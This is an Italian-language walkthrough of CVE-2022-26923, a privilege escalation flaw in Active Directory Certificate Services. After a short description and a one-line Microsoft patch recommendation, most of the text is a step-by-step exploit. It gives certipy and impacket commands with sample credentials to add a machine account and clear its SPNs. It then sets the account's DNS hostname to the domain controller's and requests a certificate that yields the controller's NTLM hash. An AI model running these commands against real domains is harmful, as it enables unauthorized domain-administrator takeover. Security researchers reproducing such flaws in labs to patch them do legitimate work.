
La vulnerabilità permetteva a un utente con privilegi bassi di elevare i propri privilegi ad amministratore di dominio in un ambiente Active Directory predefinito con il ruolo del server Servizi Certificati Active Directory (AD CS) installato.
La vulnerabilità permetteva a un utente con privilegi bassi di elevare i propri privilegi ad amministratore di dominio in un ambiente Active Directory predefinito con il ruolo del server Active Directory Certificate Services (AD CS) installato.
Un exploit è stato sviluppato da Oliver Lyak (ly4k_) in Python ed è stato pubblicato prima e non dopo l'avviso di sicurezza. È dichiarato come proof-of-concept. L'exploit è disponibile per il download su research.ifcr.dk.
Fonte :
Il difetto di elevazione dei privilegi del dominio Active Directory appena scoperto non è stato ancora sfruttato in natura, tuttavia il suo alto punteggio CVSS di 8.8 indica l'alto rischio che rappresenta per i sistemi compromessi, consentendo agli aggressori di abusare dei problemi dei certificati. CVE-2022–26923 consente di manipolare l'attributo DnsHostName, che specifica il nome del computer così come è registrato nel DNS, e quindi permette a un avversario di ottenere un certificato dai Servizi di Certificato AD, portando potenzialmente a un'elevazione dei privilegi.
- Nome utente: user_test
- Password: Password123#
- Dominio: my.domain.com
Per riprodurre è necessario:
- Avere impacket e certipy installati sulla macchina attaccante.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Aver compromesso un utente con privilegi bassi.
- Un sistema è vulnerabile solo se Active Directory Certificate Services è in esecuzione sul dominio.
Iniziamo generando un certificato per il nostro utente AD con privilegi bassi (Username=user_test Password=Password123#) utilizzando il modello di certificato Utente :
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Verifichiamo che il certificato sia valido e che possa essere utilizzato per l'autenticazione Kerberos tramite Certipy :
certipy auth -pfx user_test.pfx
Aggiunta di un computer virtuale al dominio con Impacket
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - È necessario fornire credenziali AD valide per aggiungere un nuovo computer.
# method - Il metodo di autenticazione. LDAPS interagirà con il servizio LDAP sul controller di dominio.
# computer-name - Il nome del nostro computer. Può essere qualsiasi cosa, purché non sia uguale a un oggetto computer esistente.
# computer-pass - La password associata all'account macchina del nostro computer. Dovremo impersonare questo computer che creiamo, quindi prendi nota della password scelta qui.
Generiamo un certificato per il nuovo computer che abbiamo creato. Per utilizzare l'account macchina di detto computer, è necessario aggiungere un "$" alla fine del nome:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Per la mitigazione e le misure protettive di CVE-2022–26923, Microsoft raccomanda vivamente di aggiornare tutti i server che eseguono AD Certificate Services e i controller di dominio Windows che operano l'autenticazione basata su certificati all'ultima versione del 10 maggio.
Sulla macchina compromessa, aggiornamento degli attributi DNS Hostname e SPN :
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Rimuovere l'attributo SPN corrente
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Provare a impostare l'attributo del nome host DNS su quello del controller di dominio:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
Sulla macchina attaccante, creazione di un certificato malevolo
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Verificare che questo certificato funzioni e restituisca l'hash NTLM
certipy auth -pfx hostname.pfx